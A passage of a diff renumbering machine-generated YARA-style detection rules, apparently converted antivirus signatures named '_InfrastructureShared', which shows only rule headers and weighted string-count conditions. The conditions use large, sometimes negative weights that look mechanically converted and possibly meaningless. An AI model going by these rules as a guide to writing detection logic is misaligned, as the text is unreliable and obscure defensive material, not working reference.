((#a_46_0 & 1)*16675+(#a_03_2 & 1)*2+(#a_03_3 & 1)*2+(#a_03_4 & 1)*2+(#a_03_5 & 1)*2+(#a_03_6 & 1)*2+(#a_03_7 & 1)*3+(#a_03_8 & 1)*3+(#a_03_9 & 1)*3) >=6 } -rule _InfrastructureShared_20426{ +rule _InfrastructureShared_21649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 16 00 21 " @@ -260665,7 +276009,7 @@ rule _InfrastructureShared_20426{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-30272+(#a_c0_2 & 1)*770+(#a_01_3 & 1)*-6064+(#a_0f_4 & 1)*26116+(#a_32_5 & 1)*-29896+(#a_83_6 & 1)*13127+(#a_07_7 & 1)*-30205+(#a_90_8 & 1)*12801+(#a_5f_9 & 1)*28532+(#a_00_10 & 1)*400+(#a_0f_11 & 1)*15112+(#a_3b_12 & 1)*29187+(#a_03_13 & 1)*1281+(#a_3b_14 & 1)*-254+(#a_01_15 & 1)*-28603+(#a_01_16 & 1)*-28587+(#a_01_17 & 1)*-28603+(#a_01_18 & 1)*-28603+(#a_77_20 & 1)*21248+(#a_ff_21 & 1)*513) >=10 } -rule _InfrastructureShared_20427{ +rule _InfrastructureShared_21650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 17 00 21 " @@ -260695,7 +276039,7 @@ rule _InfrastructureShared_20427{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-3455+(#a_c7_2 & 1)*806+(#a_03_3 & 1)*4092+(#a_c6_4 & 1)*797+(#a_83_5 & 1)*259+(#a_d6_7 & 1)*-14589+(#a_01_8 & 1)*-28657+(#a_00_9 & 1)*144+(#a_33_10 & 1)*13059+(#a_0f_11 & 1)*15112+(#a_01_12 & 1)*-29303+(#a_43_13 & 1)*18944+(#a_00_14 & 1)*92+(#a_00_15 & 1)*586+(#a_02_17 & 1)*1+(#a_02_18 & 1)*1+(#a_02_19 & 1)*1+(#a_02_20 & 1)*1+(#a_02_21 & 1)*1+(#a_02_22 & 1)*1) >=1 } -rule _InfrastructureShared_20428{ +rule _InfrastructureShared_21651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0e 00 21 " @@ -260715,7 +276059,7 @@ rule _InfrastructureShared_20428{ ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*656+(#a_00_3 & 1)*144+(#a_00_5 & 1)*92+(#a_00_6 & 1)*590+(#a_02_7 & 1)*107+(#a_72_9 & 1)*656+(#a_00_10 & 1)*104+(#a_00_11 & 1)*67+(#a_00_12 & 1)*11152+(#a_00_13 & 1)*1) >=21 } -rule _InfrastructureShared_20429{ +rule _InfrastructureShared_21652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0f 00 21 " @@ -260739,7 +276083,7 @@ rule _InfrastructureShared_20429{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*13112+(#a_31_2 & 1)*17990+(#a_45_3 & 1)*13111+(#a_32_4 & 1)*17458+(#a_34_5 & 1)*13377+(#a_36_6 & 1)*13623+(#a_32_7 & 1)*16946+(#a_42_8 & 1)*13637+(#a_45_9 & 1)*17475+(#a_37_10 & 1)*17989+(#a_39_11 & 1)*14130+(#a_41_12 & 1)*12595+(#a_33_13 & 1)*13377+(#a_44_14 & 1)*12851) >=1 } -rule _InfrastructureShared_20430{ +rule _InfrastructureShared_21653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -260753,7 +276097,7 @@ rule _InfrastructureShared_20430{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_4 & 1)*53+(#a_00_5 & 1)*32+(#a_00_6 & 1)*111) >=2 } -rule _InfrastructureShared_20431{ +rule _InfrastructureShared_21654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 16 00 21 " @@ -260777,7 +276121,7 @@ rule _InfrastructureShared_20431{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*109+(#a_00_3 & 1)*110+(#a_00_5 & 1)*116+(#a_00_7 & 1)*47+(#a_00_9 & 1)*117+(#a_00_10 & 1)*39+(#a_00_12 & 1)*110+(#a_30_13 & 1)*26484+(#a_01_14 & 1)*22359+(#a_00_16 & 1)*119+(#a_49_17 & 1)*28229+(#a_2d_18 & 1)*25965+(#a_2d_20 & 1)*2305+(#a_5a_21 & 1)*16762) >=8 } -rule _InfrastructureShared_20432{ +rule _InfrastructureShared_21655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0f 00 21 " @@ -260801,7 +276145,7 @@ rule _InfrastructureShared_20432{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29806+(#a_19_2 & 1)*23920+(#a_61_3 & 1)*281+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1) >=10 } -rule _InfrastructureShared_20433{ +rule _InfrastructureShared_21656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 24 00 21 " @@ -260844,7 +276188,7 @@ rule _InfrastructureShared_20433{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*24940+(#a_6c_2 & 1)*28536+(#a_68_3 & 1)*30063+(#a_53_4 & 1)*21249+(#a_6f_5 & 1)*23629+(#a_65_6 & 1)*28530+(#a_6d_7 & 1)*25970+(#a_57_8 & 1)*19791+(#a_54_9 & 1)*17740+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1+(#a_20_16 & 1)*0+(#a_62_17 & 1)*25142+(#a_37_18 & 1)*14131+(#a_36_19 & 1)*13876+(#a_36_20 & 1)*25699+(#a_61_21 & 1)*12646+(#a_2d_22 & 1)*26214+(#a_61_23 & 1)*25953+(#a_64_24 & 1)*14135+(#a_34_25 & 1)*11617+(#a_63_26 & 1)*806+(#a_34_27 & 1)*26211+(#a_37_28 & 1)*400+(#a_33_29 & 1)*25901+(#a_64_31 & 1)*25648+(#a_30_32 & 1)*257+(#a_00_34 & 1)*4+(#a_23_35 & 1)*31) >=25 } -rule _InfrastructureShared_20434{ +rule _InfrastructureShared_21657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 18 00 21 " @@ -260877,7 +276221,7 @@ rule _InfrastructureShared_20434{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1) >=1 } -rule _InfrastructureShared_20435{ +rule _InfrastructureShared_21658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 1f 00 21 " @@ -260916,7 +276260,7 @@ rule _InfrastructureShared_20435{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*99+(#a_6e_2 & 1)*28484+(#a_00_3 & 1)*31077+(#a_46_4 & 1)*0+(#a_ff_5 & 1)*-18929+(#a_eb_7 & 1)*8448+(#a_c0_8 & 1)*1025+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_20_14 & 1)*0+(#a_2d_15 & 1)*23085+(#a_01_16 & 1)*-28564+(#a_00_17 & 1)*14637+(#a_01_18 & 1)*-28562+(#a_00_19 & 1)*14637+(#a_61_20 & 1)*281+(#a_03_21 & 1)*3+(#a_03_22 & 1)*3+(#a_03_23 & 1)*3+(#a_03_24 & 1)*3+(#a_03_25 & 1)*5+(#a_03_26 & 1)*5+(#a_03_27 & 1)*5+(#a_03_28 & 1)*5+(#a_03_29 & 1)*5+(#a_23_30 & 1)*0) >=2 } -rule _InfrastructureShared_20436{ +rule _InfrastructureShared_21659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 12 00 21 " @@ -260941,7 +276285,7 @@ rule _InfrastructureShared_20436{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_52_3 & 1)*25972+(#a_6c_4 & 1)*25710+(#a_53_5 & 1)*17747+(#a_01_6 & 1)*-28672+(#a_19_7 & 1)*25452+(#a_30_8 & 1)*11585+(#a_30_9 & 1)*11585+(#a_74_10 & 1)*24948+(#a_6c_11 & 1)*29541+(#a_00_12 & 1)*103+(#a_54_13 & 1)*8192+(#a_00_15 & 1)*90+(#a_00_16 & 1)*50+(#a_00_17 & 1)*72) >=15 } -rule _InfrastructureShared_20437{ +rule _InfrastructureShared_21660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 14 00 21 " @@ -260964,7 +276308,7 @@ rule _InfrastructureShared_20437{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100+(#a_00_4 & 1)*99+(#a_00_5 & 1)*81+(#a_00_7 & 1)*99+(#a_00_8 & 1)*100+(#a_00_9 & 1)*81+(#a_00_11 & 1)*82+(#a_00_12 & 1)*89+(#a_00_13 & 1)*78+(#a_00_14 & 1)*70+(#a_00_16 & 1)*98+(#a_00_18 & 1)*86+(#a_6f_19 & 1)*24430) >=3 } -rule _InfrastructureShared_20438{ +rule _InfrastructureShared_21661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0e 00 21 " @@ -260987,7 +276331,7 @@ rule _InfrastructureShared_20438{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*26965+(#a_66_2 & 1)*25718+(#a_75_3 & 1)*8293+(#a_20_4 & 1)*28257+(#a_65_5 & 1)*26982+(#a_69_6 & 1)*25461+(#a_30_7 & 1)*11585+(#a_00_8 & 1)*32+(#a_45_9 & 1)*15360+(#a_6f_10 & 1)*8250+(#a_90_11 & 1)*29477+(#a_30_12 & 1)*825+(#a_19_13 & 1)*1) >=3 } -rule _InfrastructureShared_20439{ +rule _InfrastructureShared_21662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 16 00 21 " @@ -261018,7 +276362,7 @@ rule _InfrastructureShared_20439{ ((#a_6b_0 & 1)*17955+(#a_f1_1 & 1)*-2030+(#a_fe_2 & 1)*-32125+(#a_8c_3 & 1)*14520+(#a_04_4 & 1)*11008+(#a_ac_5 & 1)*18900+(#a_a6_6 & 1)*-3449+(#a_6a_7 & 1)*-8683+(#a_79_8 & 1)*-28574+(#a_19_9 & 1)*10280+(#a_19_10 & 1)*31859+(#a_5a_11 & 1)*16762+(#a_77_12 & 1)*29477+(#a_2d_13 & 1)*2305+(#a_90_14 & 1)*11568+(#a_00_15 & 1)*2448+(#a_61_16 & 1)*281+(#a_03_17 & 1)*5+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1) >=1 } -rule _InfrastructureShared_20440{ +rule _InfrastructureShared_21663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 11 00 21 " @@ -261044,7 +276388,7 @@ rule _InfrastructureShared_20440{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*6544+(#a_2d_2 & 1)*31277+(#a_7c_3 & 1)*9504+(#a_70_4 & 1)*14930+(#a_3a_5 & 1)*10354+(#a_2d_6 & 1)*19459+(#a_03_7 & 1)*5+(#a_03_8 & 1)*5+(#a_03_9 & 1)*5+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1) >=5 } -rule _InfrastructureShared_20441{ +rule _InfrastructureShared_21664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,47 00 47 00 24 00 21 " @@ -261082,7 +276426,7 @@ rule _InfrastructureShared_20441{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-190+(#a_d2_2 & 1)*-12267+(#a_90_3 & 1)*400+(#a_ff_6 & 1)*27217+(#a_ff_8 & 1)*27219+(#a_ff_10 & 1)*27223+(#a_01_11 & 1)*4351+(#a_9c_12 & 1)*28524+(#a_48_13 & 1)*30057+(#a_56_14 & 1)*384+(#a_02_15 & 1)*-14144+(#a_04_16 & 1)*13016+(#a_72_17 & 1)*400+(#a_80_18 & 1)*514+(#a_c0_20 & 1)*11776+(#a_2a_21 & 1)*13318+(#a_30_22 & 1)*-9994+(#a_02_23 & 1)*-3712+(#a_04_24 & 1)*10955+(#a_2d_25 & 1)*2305+(#a_09_26 & 1)*6544+(#a_2d_27 & 1)*31277+(#a_2d_28 & 1)*31277+(#a_73_29 & 1)*8238+(#a_36_31 & 1)*30768+(#a_2d_32 & 1)*11565+(#a_39_33 & 1)*12378+(#a_53_35 & 1)*11008) >=71 } -rule _InfrastructureShared_20442{ +rule _InfrastructureShared_21665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 13 00 21 " @@ -261108,7 +276452,7 @@ rule _InfrastructureShared_20442{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*400+(#a_03_2 & 1)*-16382+(#a_80_3 & 1)*12875+(#a_32_4 & 1)*-2365+(#a_88_5 & 1)*25793+(#a_5f_6 & 1)*-32677+(#a_32_7 & 1)*721+(#a_6e_8 & 1)*30556+(#a_3a_9 & 1)*29812+(#a_39_10 & 1)*12378+(#a_62_11 & 1)*24927+(#a_30_12 & 1)*8306+(#a_2d_13 & 1)*2305+(#a_2e_15 & 1)*25966+(#a_7a_16 & 1)*24841+(#a_39_17 & 1)*12378) >=1 } -rule _InfrastructureShared_20443{ +rule _InfrastructureShared_21666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 12 00 21 " @@ -261132,7 +276476,7 @@ rule _InfrastructureShared_20443{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_19_2 & 1)*25976+(#a_70_3 & 1)*29800+(#a_01_4 & 1)*-28615+(#a_2d_5 & 1)*23085+(#a_30_6 & 1)*11585+(#a_2d_7 & 1)*23085+(#a_2d_9 & 1)*2305+(#a_41_10 & 1)*8304+(#a_2d_11 & 1)*31277+(#a_7a_12 & 1)*24841+(#a_39_13 & 1)*12378+(#a_00_15 & 1)*123+(#a_2e_16 & 1)*25966) >=5 } -rule _InfrastructureShared_20444{ +rule _InfrastructureShared_21667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -261151,7 +276495,7 @@ rule _InfrastructureShared_20444{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*104+(#a_2d_2 & 1)*2305+(#a_00_3 & 1)*84+(#a_2c_5 & 1)*113+(#a_00_6 & 1)*69+(#a_00_7 & 1)*53+(#a_00_8 & 1)*55+(#a_00_9 & 1)*116+(#a_00_10 & 1)*99) >=11 } -rule _InfrastructureShared_20445{ +rule _InfrastructureShared_21668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -261164,7 +276508,7 @@ rule _InfrastructureShared_20445{ ((#a_46_0 & 1)*16675+(#a_85_1 & 1)*106+(#a_c7_2 & 1)*20617+(#a_89_3 & 1)*-16253) >=1 } -rule _InfrastructureShared_20446{ +rule _InfrastructureShared_21669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -261177,7 +276521,7 @@ rule _InfrastructureShared_20446{ ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*-30392+(#a_83_2 & 1)*0+(#a_c1_3 & 1)*18433) >=1 } -rule _InfrastructureShared_20447{ +rule _InfrastructureShared_21670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -261191,7 +276535,7 @@ rule _InfrastructureShared_20447{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100+(#a_00_4 & 1)*84+(#a_00_6 & 1)*67+(#a_00_7 & 1)*114) >=3 } -rule _InfrastructureShared_20448{ +rule _InfrastructureShared_21671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2d 00 40 00 21 " @@ -261260,7 +276604,7 @@ rule _InfrastructureShared_20448{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27765+(#a_43_2 & 1)*3072+(#a_48_3 & 1)*29808+(#a_64_4 & 1)*16740+(#a_6c_5 & 1)*17921+(#a_65_6 & 1)*28517+(#a_65_7 & 1)*28525+(#a_72_8 & 1)*269+(#a_74_9 & 1)*17518+(#a_01_10 & 1)*29300+(#a_65_11 & 1)*30034+(#a_00_12 & 1)*14637+(#a_67_13 & 1)*28524+(#a_55_14 & 1)*17746+(#a_5a_15 & 1)*16762+(#a_2c_16 & 1)*69+(#a_61_17 & 1)*281+(#a_19_18 & 1)*1+(#a_20_19 & 1)*25966+(#a_00_20 & 1)*144+(#a_4d_21 & 1)*16899+(#a_20_22 & 1)*21327+(#a_53_23 & 1)*24940+(#a_00_24 & 1)*53+(#a_00_25 & 1)*116+(#a_00_26 & 1)*476+(#a_00_27 & 1)*54+(#a_00_29 & 1)*47+(#a_00_30 & 1)*114+(#a_00_32 & 1)*52+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_02_37 & 1)*1+(#a_80_38 & 1)*1+(#a_80_39 & 1)*1+(#a_37_40 & 1)*0+(#a_39_41 & 1)*13642+(#a_77_42 & 1)*17241+(#a_50_43 & 1)*21112+(#a_71_44 & 1)*25442+(#a_32_45 & 1)*13622+(#a_56_46 & 1)*30835+(#a_77_47 & 1)*21074+(#a_6b_48 & 1)*21063+(#a_33_49 & 1)*28217+(#a_68_50 & 1)*28741+(#a_36_51 & 1)*29240+(#a_59_52 & 1)*17996+(#a_00_54 & 1)*105+(#a_00_55 & 1)*112+(#a_00_57 & 1)*84+(#a_00_58 & 1)*98+(#a_00_59 & 1)*69+(#a_00_60 & 1)*97+(#a_03_61 & 1)*2+(#a_03_62 & 1)*1+(#a_3a_63 & 1)*0) >=45 } -rule _InfrastructureShared_20449{ +rule _InfrastructureShared_21672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0e 00 21 " @@ -261283,7 +276627,7 @@ rule _InfrastructureShared_20449{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_61_2 & 1)*281+(#a_03_3 & 1)*3+(#a_03_4 & 1)*3+(#a_01_5 & 1)*3+(#a_01_6 & 1)*3+(#a_03_7 & 1)*3+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1) >=3 } -rule _InfrastructureShared_20450{ +rule _InfrastructureShared_21673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -261298,7 +276642,7 @@ rule _InfrastructureShared_20450{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*52+(#a_00_4 & 1)*54+(#a_00_6 & 1)*47+(#a_00_7 & 1)*55+(#a_00_9 & 1)*51) >=11 } -rule _InfrastructureShared_20451{ +rule _InfrastructureShared_21674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 15 00 21 " @@ -261326,7 +276670,7 @@ rule _InfrastructureShared_20451{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28210+(#a_70_2 & 1)*12881+(#a_51_3 & 1)*30563+(#a_31_4 & 1)*-32734+(#a_4c_5 & 1)*31086+(#a_73_6 & 1)*14137+(#a_54_7 & 1)*20592+(#a_01_8 & 1)*8704+(#a_7a_9 & 1)*24945+(#a_63_10 & 1)*25412+(#a_7a_11 & 1)*27974+(#a_7a_12 & 1)*12643+(#a_00_13 & 1)*101+(#a_01_14 & 1)*-28672+(#a_00_15 & 1)*114+(#a_00_16 & 1)*32+(#a_09_17 & 1)*31277+(#a_00_19 & 1)*115) >=1 } -rule _InfrastructureShared_20452{ +rule _InfrastructureShared_21675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -261340,7 +276684,7 @@ rule _InfrastructureShared_20452{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_00_4 & 1)*115+(#a_00_6 & 1)*97+(#a_00_8 & 1)*117) >=2 } -rule _InfrastructureShared_20453{ +rule _InfrastructureShared_21676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 23 00 21 " @@ -261376,7 +276720,7 @@ rule _InfrastructureShared_20453{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*32+(#a_00_4 & 1)*77+(#a_00_6 & 1)*67+(#a_00_8 & 1)*70+(#a_00_9 & 1)*25973+(#a_00_11 & 1)*101+(#a_00_12 & 1)*100+(#a_32_13 & 1)*26465+(#a_01_14 & 1)*28001+(#a_00_15 & 1)*99+(#a_00_17 & 1)*112+(#a_79_18 & 1)*17199+(#a_4e_19 & 1)*19016+(#a_3f_20 & 1)*14889+(#a_7d_21 & 1)*13179+(#a_41_22 & 1)*11569+(#a_30_23 & 1)*29185+(#a_2d_24 & 1)*23085+(#a_5b_26 & 1)*12584+(#a_5b_28 & 1)*16680+(#a_58_29 & 1)*4608+(#a_5b_30 & 1)*31277+(#a_01_31 & 1)*12340+(#a_2d_32 & 1)*14637+(#a_64_33 & 1)*279+(#a_33_34 & 1)*23930) >=3 } -rule _InfrastructureShared_20454{ +rule _InfrastructureShared_21677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 2a 00 21 " @@ -261424,7 +276768,7 @@ rule _InfrastructureShared_20454{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*13363+(#a_31_2 & 1)*22529+(#a_33_3 & 1)*31581+(#a_00_4 & 1)*32052+(#a_30_5 & 1)*29185+(#a_5d_6 & 1)*11568+(#a_00_7 & 1)*32050+(#a_30_8 & 1)*20481+(#a_39_9 & 1)*12634+(#a_2d_10 & 1)*23389+(#a_01_11 & 1)*13619+(#a_33_12 & 1)*23930+(#a_53_13 & 1)*4608+(#a_5b_14 & 1)*31277+(#a_61_15 & 1)*14918+(#a_6f_16 & 1)*27745+(#a_61_17 & 1)*272+(#a_02_18 & 1)*29795+(#a_02_19 & 1)*24948+(#a_4c_20 & 1)*21328+(#a_4d_21 & 1)*21328+(#a_69_22 & 1)*25445+(#a_62_23 & 1)*22318+(#a_69_24 & 1)*26996+(#a_65_25 & 1)*28493+(#a_2e_26 & 1)*28781+(#a_65_27 & 1)*26998+(#a_00_28 & 1)*92+(#a_00_29 & 1)*68+(#a_09_30 & 1)*31277+(#a_00_32 & 1)*111+(#a_00_34 & 1)*32+(#a_02_35 & 1)*-28550+(#a_2d_36 & 1)*23085+(#a_00_38 & 1)*42+(#a_00_39 & 1)*112+(#a_41_40 & 1)*11568+(#a_00_41 & 1)*71) >=3 } -rule _InfrastructureShared_20455{ +rule _InfrastructureShared_21678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 34 00 21 " @@ -261478,7 +276822,7 @@ rule _InfrastructureShared_20455{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*17516+(#a_63_2 & 1)*29795+(#a_02_3 & 1)*28521+(#a_6f_4 & 1)*18286+(#a_63_5 & 1)*30322+(#a_6e_6 & 1)*11852+(#a_42_7 & 1)*21328+(#a_53_8 & 1)*18478+(#a_73_9 & 1)*18734+(#a_61_10 & 1)*11877+(#a_68_11 & 1)*24899+(#a_5f_12 & 1)*12656+(#a_00_13 & 1)*102+(#a_00_14 & 1)*108+(#a_00_16 & 1)*101+(#a_00_17 & 1)*42+(#a_00_18 & 1)*108+(#a_00_20 & 1)*42+(#a_00_21 & 1)*42+(#a_2d_22 & 1)*23085+(#a_09_23 & 1)*11408+(#a_2d_24 & 1)*14637+(#a_00_26 & 1)*67+(#a_00_27 & 1)*42+(#a_00_28 & 1)*32+(#a_2d_30 & 1)*2305+(#a_41_31 & 1)*29806+(#a_06_32 & 1)*12900+(#a_00_33 & 1)*112+(#a_2d_34 & 1)*2305+(#a_2d_35 & 1)*23085+(#a_00_36 & 1)*144+(#a_69_37 & 1)*29817+(#a_00_38 & 1)*338+(#a_00_40 & 1)*76+(#a_56_42 & 1)*11776+(#a_00_44 & 1)*101+(#a_7a_45 & 1)*24841+(#a_2d_46 & 1)*31277+(#a_00_47 & 1)*822+(#a_61_48 & 1)*808+(#a_74_49 & 1)*20324+(#a_64_50 & 1)*26999+(#a_63_51 & 1)*27905) >=4 } -rule _InfrastructureShared_20456{ +rule _InfrastructureShared_21679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -261494,7 +276838,7 @@ rule _InfrastructureShared_20456{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*101+(#a_00_4 & 1)*116+(#a_00_5 & 1)*2448+(#a_2d_6 & 1)*2305+(#a_00_7 & 1)*77) >=3 } -rule _InfrastructureShared_20457{ +rule _InfrastructureShared_21680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 16 00 21 " @@ -261523,7 +276867,7 @@ rule _InfrastructureShared_20457{ ((#a_46_0 & 1)*16675+(#a_6f_2 & 1)*12033+(#a_01_3 & 1)*-28571+(#a_00_4 & 1)*14637+(#a_5a_5 & 1)*16762+(#a_00_7 & 1)*67+(#a_00_8 & 1)*32+(#a_00_9 & 1)*101+(#a_00_10 & 1)*86+(#a_2d_11 & 1)*31277+(#a_00_12 & 1)*68+(#a_79_13 & 1)*19823+(#a_2d_14 & 1)*23085+(#a_52_15 & 1)*12851+(#a_6d_16 & 1)*25390+(#a_63_17 & 1)*27491+(#a_00_18 & 1)*28015+(#a_63_19 & 1)*27905+(#a_73_20 & 1)*29549+(#a_2d_21 & 1)*27905) >=6 } -rule _InfrastructureShared_20458{ +rule _InfrastructureShared_21681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 2f 00 21 " @@ -261578,7 +276922,7 @@ rule _InfrastructureShared_20458{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*11877+(#a_76_2 & 1)*274+(#a_75_3 & 1)*27491+(#a_63_4 & 1)*26723+(#a_6f_5 & 1)*11877+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_59_30 & 1)*0+(#a_03_32 & 1)*1+(#a_03_33 & 1)*1+(#a_03_34 & 1)*1+(#a_03_35 & 1)*1+(#a_03_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1+(#a_03_40 & 1)*1+(#a_03_41 & 1)*1+(#a_03_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_03_45 & 1)*1+(#a_03_46 & 1)*3) >=2 } -rule _InfrastructureShared_20459{ +rule _InfrastructureShared_21682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 13 00 21 " @@ -261602,7 +276946,7 @@ rule _InfrastructureShared_20459{ ((#a_46_0 & 1)*21283+(#a_79_1 & 1)*16760+(#a_00_2 & 1)*101+(#a_64_3 & 1)*29545+(#a_64_4 & 1)*25939+(#a_90_5 & 1)*19828+(#a_00_6 & 1)*114+(#a_00_7 & 1)*400+(#a_00_9 & 1)*65+(#a_00_11 & 1)*52+(#a_00_13 & 1)*100+(#a_00_15 & 1)*101+(#a_31_16 & 1)*24421+(#a_6d_17 & 1)*17244+(#a_30_18 & 1)*13359) >=5 } -rule _InfrastructureShared_20460{ +rule 